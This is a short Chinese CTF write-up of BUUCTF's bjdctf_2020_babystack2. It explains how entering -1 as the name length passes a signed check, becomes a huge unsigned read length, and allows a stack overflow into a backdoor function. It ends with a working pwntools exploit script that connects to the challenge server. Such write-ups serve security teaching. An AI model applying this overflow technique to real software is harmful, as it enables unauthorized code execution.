BUUCTF—bjdctf_2020_babystack2

先看看开了什么保护机制

打开64位ida看看

整个程序就是让你输入名字长度,然后根据这个长度让你输入名字,名字是存放在局部变量里的,有机会栈溢出,只不过他有限制,名字长度不能超过10,这样子的长度根本不够栈溢出,怎么办
仔细一看,这个后面有个格式转换,就在read函数那边,第三个参数是读入长度,也就是我们之前输入的名字的长度,强制类型转换成了unsigned int,看一下原本是int类型,妙啊,也就是说我可以输入一个负数,负数肯定小于10,然后转换成unsigned int的时候会变成一个很大的数,这样就可以栈溢出了,nice,然后去找找有没有后门

有个叫backdoor的,点进去看看

真的是后门,nice,那么这题就解决了

from pwn import*
p=remote('node4.buuoj.cn',29502)
p.recvuntil('name:\n')
p.sendline(str(-1))
p.recvuntil('name?\n')
payload=b'a'*0x18+p64(0x400726)
p.sendline(payload)
p.interactive()
posted @ 2022-10-15 14:39  予柒  阅读(127)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/